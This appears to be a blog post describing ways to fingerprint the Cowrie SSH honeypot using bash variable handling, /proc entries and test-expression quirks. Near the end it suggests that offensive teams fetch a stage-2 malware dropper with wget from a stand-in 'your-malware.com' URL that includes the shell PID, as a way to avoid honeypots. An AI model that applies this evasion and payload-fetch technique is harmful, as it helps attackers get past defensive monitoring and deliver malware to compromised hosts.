procfs/bash tricks and detecting Cowrie

Yep, I’m messing with Cowrie again. Just a quick post, about another category of post-authentication detection mechanisms I found for Cowrie. These should detect honeypots that the previous hassh trick fails to detect.

This time, due to how the “procfs” on Linux works, and some bash fun. There are actually a couple of detection methods outlined in this quick braindump of sorts. Lets get into it.

In bash, the “$$” variable is the current process ID. This will pretty much almost always be the PID of your shell.

Processes all have directories under the “proc” filesystem, and in those directories is a file named “cmdline” which will have the command that instantiated that process. These directories look like /proc/$PID/.

I had this sudden thought: “what if I run echo $$ or something in the honeypot?

On a normal, non honeypot box, we see the following:

$ echo $$
2414
$

Whereas on the honeypot… This is our output:

root@svr04:~# echo $$
$$
root@svr04:~#

Basically, the “bash” emulator type thing on the Cowrie instance doesn’t understand what that variable is for, and stuffs things up by just echoing back the string literally. This could well work as a detection alone, but we continue.

This got me on to combining this with what we said above about procfs, to come up with a quick and nasty way to detect Cowrie. We simply run ‘cat /proc/$$/cmdline’.

On a normal, non honeypot box, we see the following:

$ ssh -luser localhost 'cat /proc/$$/cmdline'
user@localhost's password: 
cat/proc/4030/cmdline
$

Now, on our Cowrie instance… This is what we see…

$ ssh -lroot honeypot 'cat /proc/$$/cmdline'
root@honeypot's password: 
cat: /proc/$$/cmdline: No such file or directory
$

Further exploration of the procfs in Cowrie was very enlightening. If you compare “ps aux” output with the PID’s in procfs, you will note that there are a lot (and I mean, a lot) of processes missing procfs entries.

I also noticed that all the processes directories were empty – a surefire sign we are in the matrix, and not in a real system.

After realising the “bash” in Cowrie didn’t quite “get” bash variables, I decided to see how it handled other bash tricks. Lets see how it handles a simple check to see if an integer is positive.

$ [ "4" -ge 0 ] 2>/dev/null && echo YES || echo no
YES
$ # not a honeypot then
root@svr04:~# [ "4" -ge 0 ] 2>/dev/null && echo YES || echo no
-bash: [: command not found
YES
no
root@svr04:~# # seems like a honeypot

Given the terminal emulator/environment in Cowrie is not going to be feature-complete for Bash, or for other Linux trickery, this seems to be a rich seam to mine for detection methods.

More generally, noticing these small quirks in behaviour is how you will know if a system is a honeypot or not. Filtering out honeypots is something you should really automate, using multiple layers of detection.

For automated honeypot filtering for offensive teams using this, I’d almost suggest something as trivial as, during deployment to a compromised host, doing wget "https://your-malware.com/$$" to grab your dropper for your stage 2 malware, and if it doesn’t send a GET to an integer, give it some rubbish response instead of your dropper.

I’ll probably keep working on more and more ways to detect honeypots, hopefully it helps the honeypot makers improve their stuff.

In the next episode of “I fuck about and find out how to detect honeypots”, we will see if we can come up with a generic detection for Cowrie in “proxy mode”, where Cowrie proxies the SSH connection along to an actual live system. This should be a bit more challenging, but I do have a couple of ideas in mind.

%d bloggers like this: